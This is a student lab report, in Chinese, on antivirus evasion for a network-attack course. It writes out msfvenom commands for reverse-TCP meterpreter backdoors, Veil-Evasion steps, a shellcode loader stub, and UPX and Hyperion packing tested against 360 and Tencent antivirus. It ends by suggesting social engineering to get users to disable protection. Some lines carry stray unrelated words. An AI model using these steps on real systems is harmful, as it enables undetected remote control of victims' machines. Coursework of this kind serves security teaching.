2018-2019-2 20165212 《网络对抗技术》Exp3 免杀原理与实践

2018-2019-2 20165212 《网络对抗技术》Exp3 免杀原理与实践

1、实验内容

  • 正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,本身利用shellcode编程等免杀工具或技巧
  • 经过组合应用各类技术实现恶意代码免杀
  • 用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本

2、实验步骤

任务一 正确使用免杀工具或技巧

一、使用msf编码器msfvenom生成后门程序

  • 使用msfvenom -p windows/meterpreter/reversetcp -e x86/shikataga_nai -i 10 -b ‘\x00’ LHOST=192.168.235.144 LPORT=5212 -f exe >fenix.exe指令进行屡次编码,生成.exe的后门程序 java

  •  

  • 放到windows系统中,360确定是能够直接发现的,没有测试的必要python

  • 使用virscan进行扫描,结果以下所示: shell

  •  

  • 用msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.235.144 lport=5212 x> 5212met.jar生成.jar的后门程序编程

  • 使用msfconsole回连成功 (没启动杀软)windows

  •  

  • 放到windows7系统中,杀软并发现它了,扫描没问题,可是运行会查杀安全

  • 使用virscan进行扫描,结果以下所示: 网络

  •  

  • 检测率下降了,但没有实现免杀并发

二、使用veil-evasion生成后门程序

  • 安装veil-evasion(参考安装教程)
  • 在通过长时间尝试安装veil失败后,我直接安装了可用veil的kali机
  • 输入veil,启用veilapp

  • 输入use evasion,进入veil-evasiontcp

  • 输入list,查看可生成文件的格式

  • 输入use 7,选择C语言格式

  • 依次输入set LHOST 192.168.235.144和set LPORT 5212设置反弹链接IP和端口
  • 输入generate生成文件,再设置playload的名字:payload5212 
  •  

  • 生成成功
  •  

  • 放到windows中,执行,msf成功监听3 
  •  

 

  • 使用virscan进行扫描,结果以下所示: 
  •  

  • 查杀结果依然显示危险

三、利用shellcode编程生成后门程序

  • 用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.144 LPORT=5212 -f c生成一段shellcode

  • 利用shellcode编写一个C语言程序后门,再用i686-w64-mingw32-g++ feniexp3.c -o fenixexp3.exe编译运行后,测试其可用性

  • C语言代码以下: unsigned char buf[] = "buf"

int main() { int (func)() = (int()())buf; func(); } - 生成文件如图

 

 

  • 直接用.C交叉编译生成的exe文件复制到Windows中是没法运行的,错误提示BEX,是win下面相似堆栈保护的机制(可是UPX压索壳加密后能够运行可用回连;upx加壳后的exe再用hyperion加密壳加密后不可再win下面不能够运行,错误提示appcrash,此次缘由再也不是堆栈保护机制,而是编译C生成的EXE文件这么一层一层弄下来文件自己坏了)

  • upx加密的EXE成功链接

  •  

 

  • 使用virscan进行扫描,结果以下所示:
  • -上述3个exe程序没法实现免杀,扫描就凉了

任务二 经过组合应用各类技术实现恶意代码免杀

对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的fenixveil.exe可执行文件加UPX压缩壳尝试实现免杀 被控机是Win7虚拟机,电脑杀软为360(最新版就这周安装的)

  • 使用virscan进行扫描,结果以下所示: 
  •  

  • win7下360按位置查杀没有发现:
  •  

  • 可是尝试运行回连候会被杀出来,应该是压缩事后储存在硬盘上的代码被改变没有恶意代码的特征,可是运行的时候在行为像病毒木马因此被360查出来。也就是说,upx这个工具生成的后门,存储没问题,运行还不行。hyperion也是同样,甚至 
  •  

  • 固然了,没开杀软或者信任以后回连成功 
  •  

  • 因此,总结一下,后门程序、组合实现的shellcode存储免杀没问题,可是运行起来不行

任务三 用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 本项任务我本身的主机做为受害者,20165313张晨晖的kali做为坏人
  • 杀软版本:电脑管家13.0.19837.233,我在本身主机上启动的程序为半手工编译的shellcode通过upx和hyperion加壳的。结果如图
  •  

  •  

3、实验中遇到的问题

  • 在安装运行Veil-Evasion时,遇到不少错,很棘手

    • 解决过程: 更换新版本的kali机
  • C交叉编译生成的exe文件、hyperion加密壳生成的exe文件在win7下没法执行。

    • 这个问题其实没有解决,我大体找到了缘由:前者是由于“机器码恶意太明显”,win7下有相似堆栈保护的机制,叫“数据执行保护DEP”(错误代码BEX),而且我没法为个人后门程序免除DEP;后者应该是由于一层层编译加壳下来文件自己产生了变化(错误代码APPCRASH),ntdll内核模块出错,我尝试按网上的步骤修改,结果那个虚拟机坏了。使得程序自己没法启动。 
    •  

4、实验总结

一、基础问题回答

  • (1)杀软是如何检测出恶意代码的?

    • 1)第一种是基于特征码的检测,特征码就是一段恶意程序有可是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它做为恶意程序处理。
    • 2)第二种是启发式恶意软件检测,简单来讲,就是杀软根据程序的片面特征去推断其是否包含恶意代码,一般缺少精确断定依据。
    • 3)第三种是基于行为的恶意软件检测,是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,若是发现了这种特殊的行为,则会把它当成恶意软件。
  • (2)免杀是作什么?
    • 我认为是经过一些特殊的方法,如加壳、编码等,使杀软没法识别主机中的恶意代码。
  • (3)免杀的基本方法有哪些?

    • 1)第一种是改变特征码,如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其余语言重写再编译。
    • 2)第二种是改变行为,如在通信中尽可能使用反弹式链接、使用隧道技术、加密通信数据等等,在操做中基于内存操做、减小对系统的修改、加入混淆做用的正常功能代码等。
    • 3)第三种是很是规方法,如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。

二、实验总结和收获

  • 结合我身边同窗的实际状况来看,若是在windows&360开启的条件下,运行后门程序没有一个成功的(有的运行了几分钟以后才被查杀,但那不算成功吧),为了最后一个任务,我不得不去找了一台装有腾讯电脑管家的电脑去作实验,而且运行没有发现。据我所知,360的病毒库是和卡巴斯基通用的,这两你们安全公司,要是咱们简单的学了几个小时复制粘贴几个指令就能逃过去岂不是有些荒唐...

三、离实战还缺乏的技术或步骤

  • 目前咱们的水平很难弄出能在360眼皮底下运行的后门(我所知道的能够运行的坚持不过几分钟),因此必需要考虑“人为因素”,对计算机使用者进行诱导,使其主动去关闭360或者对咱们的后门程序添加信任,也就意味着咱们须要对后门程序进行包装,好比把shellcode写进word、QQ等程序里,使操做者对假装的后门程序没有戒备。还有一种思路:既而后门程序能够安全的存储在硬盘上,那我就能够在弄一个程序去监视计算机的进程,监视到360退出了,这时候去唤醒后门程序
相关文章
相关标签/搜索